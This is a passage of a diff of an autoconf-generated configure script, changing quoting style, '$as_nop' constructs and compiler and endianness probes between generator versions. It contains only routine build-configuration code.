\"$as_me: error: '$ac_var' has changed since the previous run:\" >&2;}\n+\t  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: \\`$ac_var' has changed since the previous run:\" >&5\n+printf \"%s\\n\" \"$as_me: error: \\`$ac_var' has changed since the previous run:\" >&2;}\n \t  ac_cache_corrupted=:\n \telse\n-\t  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: warning: ignoring whitespace changes in '$ac_var' since the previous run:\" >&5\n-printf \"%s\\n\" \"$as_me: warning: ignoring whitespace changes in '$ac_var' since the previous run:\" >&2;}\n+\t  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: warning: ignoring whitespace changes in \\`$ac_var' since the previous run:\" >&5\n+printf \"%s\\n\" \"$as_me: warning: ignoring whitespace changes in \\`$ac_var' since the previous run:\" >&2;}\n \t  eval $ac_var=\\$ac_old_val\n \tfi\n-\t{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}:   former value:  '$ac_old_val'\" >&5\n-printf \"%s\\n\" \"$as_me:   former value:  '$ac_old_val'\" >&2;}\n-\t{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}:   current value: '$ac_new_val'\" >&5\n-printf \"%s\\n\" \"$as_me:   current value: '$ac_new_val'\" >&2;}\n+\t{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}:   former value:  \\`$ac_old_val'\" >&5\n+printf \"%s\\n\" \"$as_me:   former value:  \\`$ac_old_val'\" >&2;}\n+\t{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}:   current value: \\`$ac_new_val'\" >&5\n+printf \"%s\\n\" \"$as_me:   current value: \\`$ac_new_val'\" >&2;}\n       fi;;\n   esac\n   # Pass precious variables to config.status.\n@@ -3207,11 +3163,11 @@ printf \"%s\\n\" \"$as_me:   current value: '$ac_new_val'\" >&2;}\n   fi\n done\n if $ac_cache_corrupted; then\n-  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: changes in the environment can compromise the build\" >&5\n printf \"%s\\n\" \"$as_me: error: changes in the environment can compromise the build\" >&2;}\n-  as_fn_error $? \"run '${MAKE-make} distclean' and/or 'rm $cache_file'\n+  as_fn_error $? \"run \\`${MAKE-make} distclean' and/or \\`rm $cache_file'\n \t    and start over\" \"$LINENO\" 5\n fi\n ## -------------------- ##\n@@ -3248,8 +3204,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_CC+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$CC\"; then\n+else $as_nop\n+  if test -n \"$CC\"; then\n   ac_cv_prog_CC=\"$CC\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -3271,8 +3227,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n CC=$ac_cv_prog_CC\n if test -n \"$CC\"; then\n@@ -3294,8 +3249,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_ac_ct_CC+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$ac_ct_CC\"; then\n+else $as_nop\n+  if test -n \"$ac_ct_CC\"; then\n   ac_cv_prog_ac_ct_CC=\"$ac_ct_CC\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -3317,8 +3272,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n ac_ct_CC=$ac_cv_prog_ac_ct_CC\n if test -n \"$ac_ct_CC\"; then\n@@ -3353,8 +3307,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_CC+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$CC\"; then\n+else $as_nop\n+  if test -n \"$CC\"; then\n   ac_cv_prog_CC=\"$CC\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -3376,8 +3330,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n CC=$ac_cv_prog_CC\n if test -n \"$CC\"; then\n@@ -3399,8 +3352,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_CC+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$CC\"; then\n+else $as_nop\n+  if test -n \"$CC\"; then\n   ac_cv_prog_CC=\"$CC\" # Let the user override the test.\n else\n   ac_prog_rejected=no\n@@ -3439,8 +3392,7 @@ if test $ac_prog_rejected = yes; then\n     ac_cv_prog_CC=\"$as_dir$ac_word${1+' '}$@\"\n   fi\n fi\n-fi ;;\n-esac\n+fi\n fi\n CC=$ac_cv_prog_CC\n if test -n \"$CC\"; then\n@@ -3464,8 +3416,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_CC+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$CC\"; then\n+else $as_nop\n+  if test -n \"$CC\"; then\n   ac_cv_prog_CC=\"$CC\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -3487,8 +3439,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n CC=$ac_cv_prog_CC\n if test -n \"$CC\"; then\n@@ -3514,8 +3465,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_ac_ct_CC+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$ac_ct_CC\"; then\n+else $as_nop\n+  if test -n \"$ac_ct_CC\"; then\n   ac_cv_prog_ac_ct_CC=\"$ac_ct_CC\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -3537,8 +3488,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n ac_ct_CC=$ac_cv_prog_ac_ct_CC\n if test -n \"$ac_ct_CC\"; then\n@@ -3576,8 +3526,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_CC+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$CC\"; then\n+else $as_nop\n+  if test -n \"$CC\"; then\n   ac_cv_prog_CC=\"$CC\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -3599,8 +3549,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n CC=$ac_cv_prog_CC\n if test -n \"$CC\"; then\n@@ -3622,8 +3571,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_ac_ct_CC+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$ac_ct_CC\"; then\n+else $as_nop\n+  if test -n \"$ac_ct_CC\"; then\n   ac_cv_prog_ac_ct_CC=\"$ac_ct_CC\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -3645,8 +3594,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n ac_ct_CC=$ac_cv_prog_ac_ct_CC\n if test -n \"$ac_ct_CC\"; then\n@@ -3675,10 +3623,10 @@ fi\n fi\n \n \n-test -z \"$CC\" && { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+test -z \"$CC\" && { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error $? \"no acceptable C compiler found in \\$PATH\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n \n # Provide some information about the compiler.\n printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for C compiler version\" >&5\n@@ -3750,8 +3698,8 @@ printf \"%s\\n\" \"$ac_try_echo\"; } >&5\n   printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: \\$? = $ac_status\" >&5\n   test $ac_status = 0; }\n then :\n-  # Autoconf-2.13 could set the ac_cv_exeext variable to 'no'.\n-# So ignore a value of 'no', otherwise this would lead to 'EXEEXT = no'\n+  # Autoconf-2.13 could set the ac_cv_exeext variable to `no'.\n+# So ignore a value of `no', otherwise this would lead to `EXEEXT = no'\n # in a Makefile.  We should not override ac_cv_exeext if it was cached,\n # so that the user can short-circuit this test for compilers unknown to\n # Autoconf.\n@@ -3771,7 +3719,7 @@ do\n \t   ac_cv_exeext=`expr \"$ac_file\" : '[^.]*\\(\\..*\\)'`\n \tfi\n \t# We set ac_cv_exeext here because the later test for it is not\n-\t# safe: cross compilers may not add the suffix if given an '-o'\n+\t# safe: cross compilers may not add the suffix if given an `-o'\n \t# argument, so we may need to know it at that point already.\n \t# Even if this section looks crufty: it has the advantage of\n \t# actually working.\n@@ -3782,9 +3730,8 @@ do\n done\n test \"$ac_cv_exeext\" = no && ac_cv_exeext=\n \n-else case e in #(\n-  e) ac_file='' ;;\n-esac\n+else $as_nop\n+  ac_file=''\n fi\n if test -z \"$ac_file\"\n then :\n@@ -3793,14 +3740,13 @@ printf \"%s\\n\" \"no\" >&6; }\n printf \"%s\\n\" \"$as_me: failed program was:\" >&5\n sed 's/^/| /' conftest.$ac_ext >&5\n \n-{ { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+{ { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error 77 \"C compiler cannot create executables\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n-else case e in #(\n-  e) { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: yes\" >&5\n-printf \"%s\\n\" \"yes\" >&6; } ;;\n-esac\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n+else $as_nop\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: yes\" >&5\n+printf \"%s\\n\" \"yes\" >&6; }\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for C compiler default output file name\" >&5\n printf %s \"checking for C compiler default output file name... \" >&6; }\n@@ -3824,10 +3770,10 @@ printf \"%s\\n\" \"$ac_try_echo\"; } >&5\n   printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: \\$? = $ac_status\" >&5\n   test $ac_status = 0; }\n then :\n-  # If both 'conftest.exe' and 'conftest' are 'present' (well, observable)\n-# catch 'conftest.exe'.  For instance with Cygwin, 'ls conftest' will\n-# work properly (i.e., refer to 'conftest.exe'), while it won't with\n-# 'rm'.\n+  # If both `conftest.exe' and `conftest' are `present' (well, observable)\n+# catch `conftest.exe'.  For instance with Cygwin, `ls conftest' will\n+# work properly (i.e., refer to `conftest.exe'), while it won't with\n+# `rm'.\n for ac_file in conftest.exe conftest conftest.*; do\n   test -f \"$ac_file\" || continue\n   case $ac_file in\n@@ -3837,12 +3783,11 @@ for ac_file in conftest.exe conftest conftest.*; do\n     * ) break;;\n   esac\n done\n-else case e in #(\n-  e) { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+else $as_nop\n+  { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error $? \"cannot compute suffix of executables: cannot compile and link\n-See 'config.log' for more details\" \"$LINENO\" 5; } ;;\n-esac\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n fi\n rm -f conftest conftest$ac_cv_exeext\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_exeext\" >&5\n@@ -3858,8 +3803,6 @@ int\n main (void)\n {\n FILE *f = fopen (\"conftest.out\", \"w\");\n- if (!f)\n-  return 1;\n  return ferror (f) || fclose (f) != 0;\n \n   ;\n@@ -3899,27 +3842,26 @@ printf \"%s\\n\" \"$ac_try_echo\"; } >&5\n     if test \"$cross_compiling\" = maybe; then\n \tcross_compiling=yes\n     else\n-\t{ { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+\t{ { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error 77 \"cannot run C compiled programs.\n-If you meant to cross compile, use '--host'.\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+If you meant to cross compile, use \\`--host'.\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n     fi\n   fi\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $cross_compiling\" >&5\n printf \"%s\\n\" \"$cross_compiling\" >&6; }\n \n-rm -f conftest.$ac_ext conftest$ac_cv_exeext \\\n-  conftest.o conftest.obj conftest.out\n+rm -f conftest.$ac_ext conftest$ac_cv_exeext conftest.out\n ac_clean_files=$ac_clean_files_save\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for suffix of object files\" >&5\n printf %s \"checking for suffix of object files... \" >&6; }\n if test ${ac_cv_objext+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n int\n@@ -3951,18 +3893,16 @@ then :\n        break;;\n   esac\n done\n-else case e in #(\n-  e) printf \"%s\\n\" \"$as_me: failed program was:\" >&5\n+else $as_nop\n+  printf \"%s\\n\" \"$as_me: failed program was:\" >&5\n sed 's/^/| /' conftest.$ac_ext >&5\n \n-{ { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+{ { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error $? \"cannot compute suffix of object files: cannot compile\n-See 'config.log' for more details\" \"$LINENO\" 5; } ;;\n-esac\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n fi\n-rm -f conftest.$ac_cv_objext conftest.$ac_ext ;;\n-esac\n+rm -f conftest.$ac_cv_objext conftest.$ac_ext\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_objext\" >&5\n printf \"%s\\n\" \"$ac_cv_objext\" >&6; }\n@@ -3973,8 +3913,8 @@ printf %s \"checking whether the compiler supports GNU C... \" >&6; }\n if test ${ac_cv_c_compiler_gnu+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n int\n@@ -3991,14 +3931,12 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   ac_compiler_gnu=yes\n-else case e in #(\n-  e) ac_compiler_gnu=no ;;\n-esac\n+else $as_nop\n+  ac_compiler_gnu=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n ac_cv_c_compiler_gnu=$ac_compiler_gnu\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_compiler_gnu\" >&5\n printf \"%s\\n\" \"$ac_cv_c_compiler_gnu\" >&6; }\n@@ -4016,8 +3954,8 @@ printf %s \"checking whether $CC accepts -g... \" >&6; }\n if test ${ac_cv_prog_cc_g+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_save_c_werror_flag=$ac_c_werror_flag\n+else $as_nop\n+  ac_save_c_werror_flag=$ac_c_werror_flag\n    ac_c_werror_flag=yes\n    ac_cv_prog_cc_g=no\n    CFLAGS=\"-g\"\n@@ -4035,8 +3973,8 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   ac_cv_prog_cc_g=yes\n-else case e in #(\n-  e) CFLAGS=\"\"\n+else $as_nop\n+  CFLAGS=\"\"\n       cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n@@ -4051,8 +3989,8 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n \n-else case e in #(\n-  e) ac_c_werror_flag=$ac_save_c_werror_flag\n+else $as_nop\n+  ac_c_werror_flag=$ac_save_c_werror_flag\n \t CFLAGS=\"-g\"\n \t cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n@@ -4069,15 +4007,12 @@ if ac_fn_c_try_compile \"$LINENO\"\n then :\n   ac_cv_prog_cc_g=yes\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n-   ac_c_werror_flag=$ac_save_c_werror_flag ;;\n-esac\n+   ac_c_werror_flag=$ac_save_c_werror_flag\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_g\" >&5\n printf \"%s\\n\" \"$ac_cv_prog_cc_g\" >&6; }\n@@ -4104,8 +4039,8 @@ printf %s \"checking for $CC option to enable C11 features... \" >&6; }\n if test ${ac_cv_prog_cc_c11+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_cv_prog_cc_c11=no\n+else $as_nop\n+  ac_cv_prog_cc_c11=no\n ac_save_CC=$CC\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n@@ -4122,28 +4057,25 @@ rm -f core conftest.err conftest.$ac_objext conftest.beam\n   test \"x$ac_cv_prog_cc_c11\" != \"xno\" && break\n done\n rm -f conftest.$ac_ext\n-CC=$ac_save_CC ;;\n-esac\n+CC=$ac_save_CC\n fi\n \n if test \"x$ac_cv_prog_cc_c11\" = xno\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: unsupported\" >&5\n printf \"%s\\n\" \"unsupported\" >&6; }\n-else case e in #(\n-  e) if test \"x$ac_cv_prog_cc_c11\" = x\n+else $as_nop\n+  if test \"x$ac_cv_prog_cc_c11\" = x\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: none needed\" >&5\n printf \"%s\\n\" \"none needed\" >&6; }\n-else case e in #(\n-  e) { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c11\" >&5\n+else $as_nop\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c11\" >&5\n printf \"%s\\n\" \"$ac_cv_prog_cc_c11\" >&6; }\n-     CC=\"$CC $ac_cv_prog_cc_c11\" ;;\n-esac\n+     CC=\"$CC $ac_cv_prog_cc_c11\"\n fi\n   ac_cv_prog_cc_stdc=$ac_cv_prog_cc_c11\n-  ac_prog_cc_stdc=c11 ;;\n-esac\n+  ac_prog_cc_stdc=c11\n fi\n fi\n if test x$ac_prog_cc_stdc = xno\n@@ -4153,8 +4085,8 @@ printf %s \"checking for $CC option to enable C99 features... \" >&6; }\n if test ${ac_cv_prog_cc_c99+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_cv_prog_cc_c99=no\n+else $as_nop\n+  ac_cv_prog_cc_c99=no\n ac_save_CC=$CC\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n@@ -4171,28 +4103,25 @@ rm -f core conftest.err conftest.$ac_objext conftest.beam\n   test \"x$ac_cv_prog_cc_c99\" != \"xno\" && break\n done\n rm -f conftest.$ac_ext\n-CC=$ac_save_CC ;;\n-esac\n+CC=$ac_save_CC\n fi\n \n if test \"x$ac_cv_prog_cc_c99\" = xno\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: unsupported\" >&5\n printf \"%s\\n\" \"unsupported\" >&6; }\n-else case e in #(\n-  e) if test \"x$ac_cv_prog_cc_c99\" = x\n+else $as_nop\n+  if test \"x$ac_cv_prog_cc_c99\" = x\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: none needed\" >&5\n printf \"%s\\n\" \"none needed\" >&6; }\n-else case e in #(\n-  e) { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c99\" >&5\n+else $as_nop\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c99\" >&5\n printf \"%s\\n\" \"$ac_cv_prog_cc_c99\" >&6; }\n-     CC=\"$CC $ac_cv_prog_cc_c99\" ;;\n-esac\n+     CC=\"$CC $ac_cv_prog_cc_c99\"\n fi\n   ac_cv_prog_cc_stdc=$ac_cv_prog_cc_c99\n-  ac_prog_cc_stdc=c99 ;;\n-esac\n+  ac_prog_cc_stdc=c99\n fi\n fi\n if test x$ac_prog_cc_stdc = xno\n@@ -4202,8 +4131,8 @@ printf %s \"checking for $CC option to enable C89 features... \" >&6; }\n if test ${ac_cv_prog_cc_c89+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_cv_prog_cc_c89=no\n+else $as_nop\n+  ac_cv_prog_cc_c89=no\n ac_save_CC=$CC\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n@@ -4220,28 +4149,25 @@ rm -f core conftest.err conftest.$ac_objext conftest.beam\n   test \"x$ac_cv_prog_cc_c89\" != \"xno\" && break\n done\n rm -f conftest.$ac_ext\n-CC=$ac_save_CC ;;\n-esac\n+CC=$ac_save_CC\n fi\n \n if test \"x$ac_cv_prog_cc_c89\" = xno\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: unsupported\" >&5\n printf \"%s\\n\" \"unsupported\" >&6; }\n-else case e in #(\n-  e) if test \"x$ac_cv_prog_cc_c89\" = x\n+else $as_nop\n+  if test \"x$ac_cv_prog_cc_c89\" = x\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: none needed\" >&5\n printf \"%s\\n\" \"none needed\" >&6; }\n-else case e in #(\n-  e) { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c89\" >&5\n+else $as_nop\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c89\" >&5\n printf \"%s\\n\" \"$ac_cv_prog_cc_c89\" >&6; }\n-     CC=\"$CC $ac_cv_prog_cc_c89\" ;;\n-esac\n+     CC=\"$CC $ac_cv_prog_cc_c89\"\n fi\n   ac_cv_prog_cc_stdc=$ac_cv_prog_cc_c89\n-  ac_prog_cc_stdc=c89 ;;\n-esac\n+  ac_prog_cc_stdc=c89\n fi\n fi\n \n@@ -4286,8 +4212,8 @@ printf %s \"checking whether byte ordering is bigendian... \" >&6; }\n if test ${ac_cv_c_bigendian+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_cv_c_bigendian=unknown\n+else $as_nop\n+  ac_cv_c_bigendian=unknown\n     # See if we're dealing with a universal compiler.\n     cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n@@ -4333,8 +4259,8 @@ rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n int\n main (void)\n {\n-#if ! (defined BYTE_ORDER && defined BIG_ENDIAN \\\\\n-\t\t     && defined LITTLE_ENDIAN && BYTE_ORDER && BIG_ENDIAN \\\\\n+#if ! (defined BYTE_ORDER && defined BIG_ENDIAN \\\n+\t\t     && defined LITTLE_ENDIAN && BYTE_ORDER && BIG_ENDIAN \\\n \t\t     && LITTLE_ENDIAN)\n \t      bogus endian macros\n \t     #endif\n@@ -4365,9 +4291,8 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   ac_cv_c_bigendian=yes\n-else case e in #(\n-  e) ac_cv_c_bigendian=no ;;\n-esac\n+else $as_nop\n+  ac_cv_c_bigendian=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n@@ -4411,9 +4336,8 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   ac_cv_c_bigendian=yes\n-else case e in #(\n-  e) ac_cv_c_bigendian=no ;;\n-esac\n+else $as_nop\n+  ac_cv_c_bigendian=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n@@ -4440,23 +4364,22 @@ unsigned short int ascii_mm[] =\n \t\tint use_ebcdic (int i) {\n \t\t  return ebcdic_mm[i] + ebcdic_ii[i];\n \t\t}\n-\t\tint\n-\t\tmain (int argc, char **argv)\n-\t\t{\n-\t\t  /* Intimidate the compiler so that it does not\n-\t\t     optimize the arrays away.  */\n-\t\t  char *p = argv[0];\n-\t\t  ascii_mm[1] = *p++; ebcdic_mm[1] = *p++;\n-\t\t  ascii_ii[1] = *p++; ebcdic_ii[1] = *p++;\n-\t\t  return use_ascii (argc) == use_ebcdic (*p);\n-\t\t}\n+\t\textern int foo;\n+\n+int\n+main (void)\n+{\n+return use_ascii (foo) == use_ebcdic (foo);\n+  ;\n+  return 0;\n+}\n _ACEOF\n-if ac_fn_c_try_link \"$LINENO\"\n+if ac_fn_c_try_compile \"$LINENO\"\n then :\n-  if grep BIGenDianSyS conftest$ac_exeext >/dev/null; then\n+  if grep BIGenDianSyS conftest.$ac_objext >/dev/null; then\n \t      ac_cv_c_bigendian=yes\n \t    fi\n-\t    if grep LiTTleEnDian conftest$ac_exeext >/dev/null ; then\n+\t    if grep LiTTleEnDian conftest.$ac_objext >/dev/null ; then\n \t      if test \"$ac_cv_c_bigendian\" = unknown; then\n \t\tac_cv_c_bigendian=no\n \t      else\n@@ -4465,10 +4388,9 @@ then :\n \t      fi\n \t    fi\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n-    conftest$ac_exeext conftest.$ac_ext\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n $ac_includes_default\n int\n@@ -4491,17 +4413,14 @@ _ACEOF\n if ac_fn_c_try_run \"$LINENO\"\n then :\n   ac_cv_c_bigendian=no\n-else case e in #(\n-  e) ac_cv_c_bigendian=yes ;;\n-esac\n+else $as_nop\n+  ac_cv_c_bigendian=yes\n fi\n rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n-  conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n \n-    fi ;;\n-esac\n+    fi\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_bigendian\" >&5\n printf \"%s\\n\" \"$ac_cv_c_bigendian\" >&6; }\n@@ -4523,14 +4442,14 @@ printf \"%s\\n\" \"#define AC_APPLE_UNIVERSAL_BUILD 1\" >>confdefs.h\n \n ac_header_dirent=no\n for ac_hdr in dirent.h sys/ndir.h sys/dir.h ndir.h; do\n-  as_ac_Header=`printf \"%s\\n\" \"ac_cv_header_dirent_$ac_hdr\" | sed \"$as_sed_sh\"`\n+  as_ac_Header=`printf \"%s\\n\" \"ac_cv_header_dirent_$ac_hdr\" | $as_tr_sh`\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for $ac_hdr that defines DIR\" >&5\n printf %s \"checking for $ac_hdr that defines DIR... \" >&6; }\n if eval test \\${$as_ac_Header+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n #include <sys/types.h>\n #include <$ac_hdr>\n@@ -4547,12 +4466,10 @@ _ACEOF\n if ac_fn_c_try_compile 